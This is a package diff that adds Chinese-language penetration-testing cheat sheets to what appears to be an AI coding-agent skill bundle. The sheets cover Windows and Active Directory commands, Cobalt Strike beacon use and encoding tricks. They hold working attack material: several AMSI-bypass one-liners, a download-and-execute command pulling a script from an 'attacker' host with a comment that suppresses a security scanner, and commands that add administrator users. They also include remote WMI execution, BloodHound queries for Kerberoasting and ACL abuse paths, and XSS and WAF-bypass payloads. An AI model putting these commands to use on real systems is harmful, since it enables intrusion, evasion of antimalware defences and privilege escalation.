opencode-skills-collection 4.0.42 → 4.0.44

package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md

@@ -0,0 +1,410 @@
+# 系统命令
+
+_8 条工具命令_
+
+### Windows CMD命令  `windows-cmd`
+_Windows系统常用命令_
+
+**Step 0**
+> 获取系统信息
+_platform: windows_
+```
+systeminfo
+ver
+hostname
+```
+
+**Step 0**
+> 用户管理命令
+_platform: windows_
+```
+net user
+net user username password /add
+net localgroup administrators username /add
+```
+
+**Step 0**
+> 网络配置信息
+_platform: windows_
+```
+ipconfig /all
+netstat -ano
+netstat -anob
+route print
+arp -a
+```
+
+**Step 0**
+> 进程管理命令
+_platform: windows_
+```
+tasklist
+taskkill /PID pid /F
+wmic process list full
+```
+
+**Step 0**
+> 服务管理命令
+_platform: windows_
+```
+sc query
+sc start servicename
+sc stop servicename
+net start
+```
+
+**Step 0**
+> 文件操作命令
+_platform: windows_
+```
+dir /s /b c:\*.txt
+type filename
+find "string" filename
+icacls filename
+```
+
+**Step 0**
+> 注册表操作
+_platform: windows_
+```
+reg query HKLM\Software
+reg add HKLM\Software\MyKey /v Value /t REG_SZ /d "Data" /f
+reg delete HKLM\Software\MyKey /f
+```
+
+**Step 0**
+> 防火墙配置
+_platform: windows_
+```
+netsh advfirewall show allprofiles
+netsh advfirewall firewall add rule name="Allow Port" dir=in action=allow protocol=tcp localport=8080
+```
+
+---
+
+### NET命令集合  `net-commands`
+_Windows NET命令完整集合_
+
+**Step 0**
+> 列出所有用户
+_platform: windows_
+```
+net user
+```
+
+**Step 0**
+> 查看用户详细信息
+_platform: windows_
+```
+net user username
+```
+
+**Step 0**
+> 添加新用户
+_platform: windows_
+```
+net user username password /add
+```
+
+**Step 0**
+> 删除用户
+_platform: windows_
+```
+net user username /delete
+```
+
+**Step 0**
+> 列出所有本地组
+_platform: windows_
+```
+net localgroup
+```
+
+**Step 0**
+> 将用户添加到管理员组
+_platform: windows_
+```
+net localgroup administrators username /add
+```
+
+**Step 0**
+> 列出域用户
+_platform: windows_
+```
+net user /domain
+```
+
+**Step 0**
+> 列出域管理员
+_platform: windows_
+```
+net group "Domain Admins" /domain
+```
+
+**Step 0**
+> 列出共享资源
+_platform: windows_
+```
+net share
+```
+
+**Step 0**
+> 创建共享
+_platform: windows_
+```
+net share sharename=C:\path /grant:everyone,full
+```
+
+**Step 0**
+> 列出当前会话
+_platform: windows_
+```
+net session
+```
+
+**Step 0**
+> 连接网络共享
+_platform: windows_
+```
+net use \\target\share password /user:domain\user
+```
+
+---
+
+### PowerShell AMSI绕过  `powershell-amsi`
+_Windows AMSI(反恶意软件扫描接口)绕过技术集合_
+
+**Step 0**
+> 通过反射修改amsiInitFailed标志位
+_platform: windows_
+```
+[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+```
+
+**Step 0**
+> 字符串拼接绕过AMSI签名检测
+_platform: windows_
+```
+$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$b=$a.GetField('am'+'siIn'+'itFa'+'iled','NonPublic,Static');$b.SetValue($null,$true)
+```
+
+**Step 0**
+> 直接修改内存中的AMSI缓冲区
+_platform: windows_
+```
+$w='System.Management.Automation.A'+'msiUtils';[Runtime.InteropServices.Marshal]::WriteByte(([Ref].Assembly.GetType($w).GetField('a'+'msiSession',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null)),0x80)
+```
+
+**Step 0**
+> 使用PowerShell v2(无AMSI)运行脚本
+_platform: windows_
+```
+powershell -version 2 -command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')"  # security-allowlist: SEC005
+```
+
+---
+
+### WMIC命令  `wmic-cmd`
+_Windows Management Instrumentation命令行工具_
+
+**Step 0**
+> 获取操作系统和计算机信息
+_platform: windows_
+```
+wmic os get Caption,Version,BuildNumber,OSArchitecture
+wmic computersystem get Name,Domain,Manufacturer,Model
+```
+**语法解析：**
+- `wmic` — WMI命令行工具 _command_
+- `os get` — 查询操作系统对象属性 _parameter_
+
+**Step 0**
+> 查询和创建进程
+_platform: windows_
+```
+wmic process list brief
+wmic process where name="cmd.exe" get processid,commandline
+wmic process call create "cmd.exe /c whoami > C:\temp\out.txt"
+```
+
+**Step 0**
+> 查询服务信息
+_platform: windows_
+```
+wmic service list brief
+wmic service where "startmode='auto' and state='stopped'" get name,startname
+```
+
+**Step 0**
+> 远程WMI命令执行
+_platform: windows_
+```
+wmic /node:target_ip /user:admin /password:pass process call create "cmd.exe /c whoami"
+```
+
+**Step 0**
+> 列出已安装软件和补丁
+_platform: windows_
+```
+wmic product get name,version
+wmic qfe list
+```
+
+---
+
+### DSQuery命令  `dsquery`
+_Active Directory查询命令行工具_
+
+**Step 0**
+> 查询域用户(所有/管理员/不活跃)
+_platform: windows_
+```
+dsquery user -limit 0
+dsquery user -name *admin*
+dsquery user -inactive 4
+```
+**语法解析：**
+- `dsquery user` — 查询AD用户对象 _command_
+- `-limit 0` — 不限制返回数量 _parameter_
+
+**Step 0**
+> 查询域内计算机对象
+_platform: windows_
+```
+dsquery computer -limit 0
+dsquery computer -name *server*
+```
+
+**Step 0**
+> 查询域组及成员
+_platform: windows_
+```
+dsquery group -name "Domain Admins"
+dsquery group | dsget group -members
+```
+
+**Step 0**
+> 查询组织单位结构
+_platform: windows_
+```
+dsquery ou
+dsquery * "DC=domain,DC=com" -filter "(objectclass=organizationalUnit)" -attr name
+```
+
+**Step 0**
+> 自定义LDAP过滤器查询特权用户
+_platform: windows_
+```
+dsquery * -filter "(&(objectClass=user)(adminCount=1))" -attr sAMAccountName -limit 0
+```
+
+---
+
+### AD Explorer  `adexplorer`
+_Sysinternals出品的Active Directory浏览器和快照工具_
+
+**Step 0**
+> 连接到Active Directory进行浏览
+_platform: windows_
+```
+ADExplorer.exe
+# 输入DC地址: dc.domain.com
+# 输入凭证: domain\user / password
+# 或使用当前域凭证直连
+```
+
+**Step 0**
+> 创建AD数据库离线快照(可用BloodHound分析)
+_platform: windows_
+```
+ADExplorer.exe -snapshot "" output.snp
+# 或在GUI中: File > Create Snapshot
+```
+
+**Step 0**
+> 对比两个快照发现AD变更
+_platform: windows_
+```
+# GUI操作: File > Compare
+# 选择两个时间点的快照文件
+# 对比AD变更(新用户/权限变更等)
+```
+
+---
+
+### ldeep  `ldeep`
+_LDAP深度枚举工具，用于从Linux远程查询AD信息_
+
+**Step 0**
+> 枚举域用户
+```
+ldeep ldap -u user -p password -d domain.com -s dc_ip users
+ldeep ldap -u user -p password -d domain.com -s dc_ip users -v
+```
+**语法解析：**
+- `ldap` — 使用LDAP协议连接 _parameter_
+- `-s` — LDAP服务器地址 _parameter_
+
+**Step 0**
+> 枚举组和组策略对象
+```
+ldeep ldap -u user -p pass -d domain.com -s dc_ip groups
+ldeep ldap -u user -p pass -d domain.com -s dc_ip gpo
+```
+
+**Step 0**
+> 查询委派配置和域信任关系
+```
+ldeep ldap -u user -p pass -d domain.com -s dc_ip delegations
+ldeep ldap -u user -p pass -d domain.com -s dc_ip trusts
+```
+
+**Step 0**
+> 查询密码策略
+```
+ldeep ldap -u user -p pass -d domain.com -s dc_ip pso
+ldeep ldap -u user -p pass -d domain.com -s dc_ip pass-pols
+```
+
+---
+
+### BloodHound Cypher  `bloodhound-cypher`
+_BloodHound Neo4j Cypher查询语句集合_
+
+**Step 0**
+> 查找指定用户到域管的最短攻击路径
+```
+MATCH p=shortestPath((n:User {name:"USER@DOMAIN.COM"})-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.COM"})) RETURN p
+```
+
+**Step 0**
+> 查找可进行Kerberoasting的用户
+```
+MATCH (u:User {hasspn:true}) WHERE NOT u.name STARTS WITH "KRBTGT" RETURN u.name, u.serviceprincipalnames
+```
+
+**Step 0**
+> 查找可进行AS-REP Roasting的用户
+```
+MATCH (u:User {dontreqpreauth:true}) RETURN u.name
+```
+
+**Step 0**
+> 查找所有具有本地管理员权限的用户
+```
+MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name
+```
+
+**Step 0**
+> 查找配置了无约束委派的计算机
+```
+MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
+```
+
+**Step 0**
+> 查找可利用的ACL权限关系
+```
+MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword*1..]->(target) WHERE NOT u.name STARTS WITH "KRBTGT" RETURN p
+```
+
+---

package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md

@@ -0,0 +1,64 @@
+# 红队工具
+
+_1 条工具命令_
+
+### Cobalt Strike  `cobaltstrike-tool`
+_红队渗透测试框架_
+
+**Step 0**
+> 启动团队服务器
+_platform: linux_
+```
+./teamserver ip password [C2配置文件]
+```
+
+**Step 0**
+> 生成可执行Payload
+```
+Attacks -> Packages -> Windows Executable
+```
+
+**Step 0**
+> 添加监听器
+```
+Cobalt Strike -> Listeners -> Add
+```
+
+**Step 0**
+> Beacon常用命令
+```
+shell whoami
+ps
+hashdump
+mimikatz
+```
+
+**Step 0**
+> SMB Beacon横向
+_platform: windows_
+```
+beacon> link target_ip
+```
+
+**Step 0**
+> 启动SOCKS代理
+_platform: windows_
+```
+beacon> socks 1080
+```
+
+**Step 0**
+> 窃取进程令牌
+_platform: windows_
+```
+beacon> steal_token PID
+```
+
+**Step 0**
+> 以其他用户运行
+_platform: windows_
+```
+beacon> runas domain\user password command
+```
+
+---

package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md

@@ -0,0 +1,226 @@
+# 编码解码
+
+_6 条工具命令_
+
+### Base64编码  `base64-encode`
+_Base64编码/解码命令集合_
+
+**Step 0**
+> 各平台Base64编码方法
+```
+# Linux:
+echo -n "payload" | base64
+base64 file.txt > encoded.txt
+
+# Windows PowerShell:
+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("payload"))
+
+# Python:
+python3 -c "import base64; print(base64.b64encode(b'payload').decode())"
+```
+
+**Step 0**
+> 各平台Base64解码方法
+```
+# Linux:
+echo "cGF5bG9hZA==" | base64 -d
+base64 -d encoded.txt > decoded.txt
+
+# Windows PowerShell:
+[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("cGF5bG9hZA=="))
+
+# Python:
+python3 -c "import base64; print(base64.b64decode('cGF5bG9hZA==').decode())"
+```
+
+**Step 0**
+> URL安全的Base64编码(+/替换为-_)
+```
+# Python:
+import base64
+base64.urlsafe_b64encode(b"payload").decode()
+base64.urlsafe_b64decode("cGF5bG9hZA==").decode()
+```
+
+---
+
+### URL编码  `url-encode`
+_URL编码/解码命令集合_
+
+**Step 0**
+> URL编码方法(单次/双重)
+```
+# Python:
+python3 -c "from urllib.parse import quote; print(quote('<script>alert(1)</script>'))"
+
+# 双重编码:
+python3 -c "from urllib.parse import quote; print(quote(quote('<script>alert(1)</script>')))"
+
+# CyberChef在线: https://gchq.github.io/CyberChef/
+```
+
+**Step 0**
+> URL解码方法
+```
+# Python:
+python3 -c "from urllib.parse import unquote; print(unquote('%3Cscript%3Ealert(1)%3C%2Fscript%3E'))"
+
+# Linux:
+printf '%b' "\x3Cscript\x3E"
+```
+
+---
+
+### Hex编码  `hex-encode`
+_十六进制编码/解码命令集合_
+
+**Step 0**
+> 十六进制编码方法
+```
+# Linux:
+echo -n "payload" | xxd -p
+echo -n "payload" | od -A n -t x1 | tr -d " \n"
+
+# Python:
+python3 -c "print('payload'.encode().hex())"
+python3 -c "print('\\x'.join([hex(ord(c))[2:] for c in 'payload']))"
+```
+
+**Step 0**
+> 十六进制解码方法
+```
+# Linux:
+echo "7061796c6f6164" | xxd -r -p
+
+# Python:
+python3 -c "print(bytes.fromhex('7061796c6f6164').decode())"
+```
+
+**Step 0**
+> 在SQL注入和XSS中使用十六进制编码
+```
+# SQL注入中使用:
+SELECT 0x61646D696E  -- "admin"
+
+# XSS中使用:
+<img src=x onerror=\x61\x6c\x65\x72\x74(1)>
+```
+
+---
+
+### HTML编码  `html-encode`
+_HTML实体编码/解码命令集合_
+
+**Step 0**
+> HTML实体编码(命名/十进制/十六进制)
+```
+# Python:
+python3 -c "import html; print(html.escape('<script>alert(1)</script>'))"
+
+# 数字编码:
+python3 -c "print(''.join(['&#'+str(ord(c))+';' for c in '<script>alert(1)</script>']))"
+
+# 十六进制HTML编码:
+python3 -c "print(''.join(['&#x'+hex(ord(c))[2:]+';' for c in 'alert']))"
+```
+
+**Step 0**
+> HTML实体解码
+```
+# Python:
+python3 -c "import html; print(html.unescape('&lt;script&gt;alert(1)&lt;/script&gt;'))"
+```
+
+**Step 0**
+> XSS绕过常用的HTML实体对照
+```
+# 常用HTML实体:
+# < => &lt; 或 &#60; 或 &#x3c;
+# > => &gt; 或 &#62; 或 &#x3e;
+# " => &quot; 或 &#34; 或 &#x22;
+# ' => &apos; 或 &#39; 或 &#x27;
+# & => &amp; 或 &#38; 或 &#x26;
+```
+
+---
+
+### Unicode编码  `unicode-encode`
+_Unicode编码/解码命令集合_
+
+**Step 0**
+> Unicode各种编码形式
+```
+# Python Unicode转义:
+python3 -c "print(''.join(['\\u'+hex(ord(c))[2:].zfill(4) for c in 'alert']))"
+# 输出: \u0061\u006c\u0065\u0072\u0074
+
+# UTF-8字节:
+python3 -c "print('alert'.encode('utf-8'))"
+```
+
+**Step 0**
+> Unicode解码方法
+```
+# Python:
+python3 -c "print('\\u0061\\u006c\\u0065\\u0072\\u0074'.encode().decode('unicode_escape'))"
+
+# JavaScript:
+console.log("\u0061\u006c\u0065\u0072\u0074")
+```
+
+**Step 0**
+> 使用Unicode编码绕过WAF/过滤
+```
+# JavaScript Unicode绕过:
+<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
+
+# Overlong UTF-8编码:
+# / => %c0%af (可绕过路径过滤)
+# . => %c0%ae
+```
+
+---
+
+### JWT解码  `jwt-decode`
+_JWT(JSON Web Token)解码和分析工具_
+
+**Step 0**
+> 使用在线工具解码JWT
+```
+# 在线工具:
+# https://jwt.io
+# https://token.dev
+# 粘贴JWT即可查看Header和Payload
+```
+
+**Step 0**
+> 使用Python命令行解码JWT
+```
+# Python:
+python3 -c "
+import base64, json, sys
+token = sys.argv[1]
+parts = token.split('.')
+for i, part in enumerate(parts[:2]):
+    padded = part + '=' * (4 - len(part) % 4)
+    decoded = base64.urlsafe_b64decode(padded)
+    print(json.dumps(json.loads(decoded), indent=2))
+" YOUR_JWT_HERE
+```
+
+**Step 0**
+> JWT结构分析和安全检查要点
+```
+# JWT结构: Header.Payload.Signature
+# Header: {"alg":"HS256","typ":"JWT"}
+# Payload: {"sub":"1234","name":"user","iat":1516239022}
+# Signature: HMACSHA256(base64url(header)+"."+base64url(payload), secret)
+
+# 检查要点:
+# 1. alg是否可改为none
+# 2. 密钥是否为弱密码
+# 3. 是否可将RS256改为HS256
+# 4. exp是否已过期
+```
+
+---